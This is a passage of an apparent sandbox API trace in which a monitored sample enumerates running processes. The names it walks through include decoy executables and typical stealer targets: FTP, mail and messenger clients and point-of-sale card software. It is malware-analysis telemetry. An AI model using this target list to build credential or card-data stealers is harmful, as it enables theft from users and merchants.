lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.579] lstrlenW (lpString="audiodg.exe") returned 11 [0057.579] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.580] lstrlenW (lpString="svchost.exe") returned 11 [0057.580] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.580] lstrlenW (lpString="svchost.exe") returned 11 [0057.580] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.580] lstrlenW (lpString="dwm.exe") returned 7 [0057.580] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.581] lstrlenW (lpString="explorer.exe") returned 12 [0057.581] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.581] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.581] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.582] lstrlenW (lpString="svchost.exe") returned 11 [0057.582] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.582] lstrlenW (lpString="taskhost.exe") returned 12 [0057.582] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.582] lstrlenW (lpString="taskeng.exe") returned 11 [0057.582] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0057.583] lstrlenW (lpString="communist_nick.exe") returned 18 [0057.583] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0057.583] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0057.583] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0057.584] lstrlenW (lpString="prize.exe") returned 9 [0057.584] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0057.584] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0057.584] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0057.584] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0057.584] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0057.585] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0057.585] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0057.585] lstrlenW (lpString="prospects.exe") returned 13 [0057.585] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0057.586] lstrlenW (lpString="signalpackard.exe") returned 17 [0057.586] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0057.586] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0057.586] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0057.587] lstrlenW (lpString="release.exe") returned 11 [0057.587] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0057.587] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0057.587] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0057.587] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0057.587] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0057.588] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0057.588] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0057.588] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0057.588] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0057.589] lstrlenW (lpString="stickers_nations.exe") returned 20 [0057.589] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0057.589] lstrlenW (lpString="initiated-scary.exe") returned 19 [0057.589] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0057.589] lstrlenW (lpString="3dftp.exe") returned 9 [0057.589] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0057.590] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0057.590] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0057.590] lstrlenW (lpString="alftp.exe") returned 9 [0057.590] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0057.591] lstrlenW (lpString="barca.exe") returned 9 [0057.591] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0057.591] lstrlenW (lpString="bitkinex.exe") returned 12 [0057.591] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0057.591] lstrlenW (lpString="coreftp.exe") returned 11 [0057.592] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0057.592] lstrlenW (lpString="far.exe") returned 7 [0057.593] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0057.593] lstrlenW (lpString="filezilla.exe") returned 13 [0057.593] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0057.594] lstrlenW (lpString="flashfxp.exe") returned 12 [0057.594] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0057.594] lstrlenW (lpString="fling.exe") returned 9 [0057.594] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0057.595] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0057.595] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0057.595] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0057.595] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0057.595] lstrlenW (lpString="icq.exe") returned 7 [0057.596] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0057.596] lstrlenW (lpString="leechftp.exe") returned 12 [0057.596] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0057.596] lstrlenW (lpString="ncftp.exe") returned 9 [0057.596] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0057.597] lstrlenW (lpString="notepad.exe") returned 11 [0057.597] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0057.597] lstrlenW (lpString="operamail.exe") returned 13 [0057.597] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0057.598] lstrlenW (lpString="outlook.exe") returned 11 [0057.608] CloseHandle (hObject=0xe4) returned 1 [0057.608] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0057.609] lstrlenW (lpString="pidgin.exe") returned 10 [0057.609] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0057.609] lstrlenW (lpString="scriptftp.exe") returned 13 [0057.609] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0057.610] lstrlenW (lpString="skype.exe") returned 9 [0057.610] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0057.610] lstrlenW (lpString="smartftp.exe") returned 12 [0057.610] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0057.611] lstrlenW (lpString="thunderbird.exe") returned 15 [0057.611] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0057.611] lstrlenW (lpString="totalcmd.exe") returned 12 [0057.611] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0057.612] lstrlenW (lpString="trillian.exe") returned 12 [0057.612] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0057.613] lstrlenW (lpString="webdrive.exe") returned 12 [0057.613] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0057.613] lstrlenW (lpString="whatsapp.exe") returned 12 [0057.613] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0057.614] lstrlenW (lpString="winscp.exe") returned 10 [0057.614] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0057.614] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0057.614] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0057.615] lstrlenW (lpString="active-charge.exe") returned 17 [0057.615] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0057.615] lstrlenW (lpString="accupos.exe") returned 11 [0057.615] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0057.616] lstrlenW (lpString="afr38.exe") returned 9 [0057.616] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0057.616] lstrlenW (lpString="aldelo.exe") returned 10 [0057.616] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0057.617] lstrlenW (lpString="ccv_server.exe") returned 14 [0057.617] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0057.617] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0057.617] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0057.618] lstrlenW (lpString="creditservice.exe") returned 17 [0057.618] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0057.618] lstrlenW (lpString="edcsvr.exe") returned 10 [0057.618] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0057.619] lstrlenW (lpString="fpos.exe") returned 8 [0057.619] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0057.619] lstrlenW (lpString="isspos.exe") returned 10 [0057.619] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0057.620] lstrlenW (lpString="mxslipstream.exe") returned 16 [0057.620] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0057.620] lstrlenW (lpString="omnipos.exe") returned 11 [0057.620] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0057.621] lstrlenW (lpString="spcwin.exe") returned 10 [0057.621] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0057.621] lstrlenW (lpString="spgagentservice.exe") returned 19 [0057.621] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0057.622] lstrlenW (lpString="utg2.exe") returned 8 [0057.622] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0057.622] lstrlenW (lpString="nj_sh.exe") returned 9 [0057.622] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0057.639] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0057.639] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, 